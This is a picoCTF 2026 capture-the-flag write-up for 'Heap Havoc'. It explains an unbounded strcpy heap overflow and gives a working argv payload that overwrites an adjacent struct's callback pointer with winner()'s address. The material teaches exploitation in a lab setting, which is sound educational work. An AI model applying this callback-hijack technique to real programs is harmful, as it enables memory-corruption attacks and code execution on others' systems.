Skip to main content

Heap Havoc picoCTF 2026 Solution

An unbounded strcpy overruns a heap buffer into the next chunk, overwriting an exit-time callback pointer.

Published: March 20, 2026Updated: September 20, 2026

Description

A two-argument program with a heap overflow (not a stack smash). It copies your first argument into a small heap buffer with an unbounded strcpy, and that buffer sits right before a second heap struct that holds an exit-time callback function pointer. Overflow the first buffer to overwrite that callback with the address of winner(), and the flag prints when the program cleans up.

Download vuln and vuln.c.
Read vuln.c to understand how the two heap structs are allocated and how your argv[1] is handled.
bash
cat vuln.c
bash
chmod +x vuln
bash
file vuln   # 32-bit ELF

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Find the unbounded strcpy and the adjacent callback
    Observation
    The program takes two arguments and allocates two heap structs back to back. An unbounded strcpy into the first struct's buffer runs straight into the second struct's fields, callback pointer included.
    The program allocates two structs on the heap, back to back. It runs strcpy(struct1->name, argv[1]) with no length check, so a long first argument overruns struct1's name buffer and writes into struct2. struct2 contains a callback function pointer that the program invokes at exit (and a name pointer it dereferences). Overwriting that callback is the win.
    bash
    grep -nE 'malloc|strcpy|argv|\(\*' vuln.c
    bash
    objdump -d vuln | grep -A2 '<winner>:'   # note winner()'s address (32-bit)
    What didn't work first

    Tried: Run 'nm vuln | grep winner' to get winner()'s address instead of using objdump.

    nm prints the symbol value correctly, and prints nothing at all on a stripped binary. objdump disassembles the text section and shows the load address regardless, along with the surrounding instructions you need to confirm the function boundary.

    Tried: Use 'grep -nE strcpy vuln.c' without the broader pattern to find the overflow site.

    Grepping only for strcpy finds the copy and misses the malloc lines that give the struct sizes and the function-pointer field. Without both in view you cannot measure the distance from the first buffer to the callback, which is the whole payload.

    Learn more

    Why this is heap, not stack. The overflowed buffer lives in a malloc'd chunk, so there is no saved return address nearby to clobber. Instead the interesting target is data in the next heap chunk: a function pointer the program later calls. Overwriting heap data to hijack a stored callback is a data-only attack; you never touch the stack.

  2. Step 2Compute the offset and build the overwrite
    Observation
    vuln.c shows a name pointer sitting before the callback in the second struct. Measure the exact distance across both structs, and give that pointer a valid heap address, or the program faults before the callback ever runs.
    Work out the byte distance from struct1->name to struct2's callback field. One verified layout for the 32-bit binary is: 8 bytes to fill struct1->name, then bytes that land on struct2's fields. Set struct2's name pointer to any address that is guaranteed readable (e.g. 0x0804c040, inside the binary's own data segment, since this ELF is non-PIE) so the program does not crash dereferencing it, and set struct2's callback to winner() (e.g. 0x080492b6). Confirm both addresses against your binary with objdump.
    bash
    # 32-bit, little-endian. Addresses are binary-specific - read them from objdump.
    ./vuln "$(python3 -c 'import sys; sys.stdout.buffer.write(
        b"A"*8 +            # fill struct1->name
        b"BBBB" +           # struct2->priority / padding
        b"CCCC" +           # (alignment between fields)
        b"\x40\xc0\x04\x08" +   # struct2->name = 0x0804c040 (valid ptr)
        b"\xb6\x92\x04\x08")')" dummy   # struct2->callback = winner() 0x080492b6

    The exact padding and field order come from vuln.c and the 32-bit struct layout; the 0x0804c040 / 0x080492b6 values come from one verified run of the public instance. Recheck them with objdump -d vuln against your binary, since a wrong name pointer crashes before the callback fires.

    What didn't work first

    Tried: Use a flat padding of just 8 'A' bytes followed immediately by the winner() address, treating it like a classic stack buffer overflow.

    Two fields sit before the callback, a priority value and a name pointer, so writing the address eight bytes in lands it in the wrong one. The program dereferences that name pointer first, and the 'A' bytes that land there form an unmapped address, so it segfaults before the callback runs. Count every intervening field.

    Tried: Copy the hardcoded addresses 0x0804c040 and 0x080492b6 directly as fixed values without verifying them against your own binary download.

    Challenge binaries get recompiled per instance, which moves function addresses and heap layout. With winner() at a different address, the callback gets a garbage pointer and the program crashes or exits quietly. Read the address off your own download before building the payload.

    Learn more

    Why the name pointer matters too. If the program prints or otherwise dereferences struct2->name before calling the callback, leaving that field as garbage segfaults you before the payoff. Pointing it at a known-readable address keeps execution alive long enough to reach the hijacked callback. See the heap exploitation guide for adjacent-chunk overwrite patterns.

  3. Step 3Trigger the callback and read the flag
    Observation
    With the callback pointing at winner(), running the program with the crafted argument fires it during cleanup.
    Run the program with the crafted first argument and a dummy second argument. During cleanup it calls the now-overwritten callback, jumping into winner(), which prints the flag.
    bash
    # winner() runs at program exit and prints the flag

    Expected output

    picoCTF{h34p_0v3rfl0w_...}
    Learn more

    This is a heap-data overwrite hijacking a stored function pointer, a common alternative to stack-return-address control when the bug lives on the heap. For the pwntools form (build the argv blob, run locally first), see Pwntools for CTF.

Interactive tools
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{h34p_0v3rfl0w_...}

Heap overflow, not a stack smash: an unbounded strcpy of argv[1] into the first struct's name buffer overruns into the adjacent struct, whose exit-time callback pointer you overwrite with winner() (give its name pointer a valid heap address so it does not crash first). Addresses are 32-bit and binary-specific.

Key takeaway

Heap metadata and object fields sit contiguous in memory, so an unbounded write into one allocation corrupts the next, function pointers included. Unlike a stack overflow aimed at a saved return address, this corrupts program data, which stack canaries and a non-executable stack do nothing about. The same primitive drives use-after-free exploits, tcache poisoning, and C++ vtable overwrites, all of them regular fixtures in real CVEs.

Related reading

Tools used in this challenge

Where to go next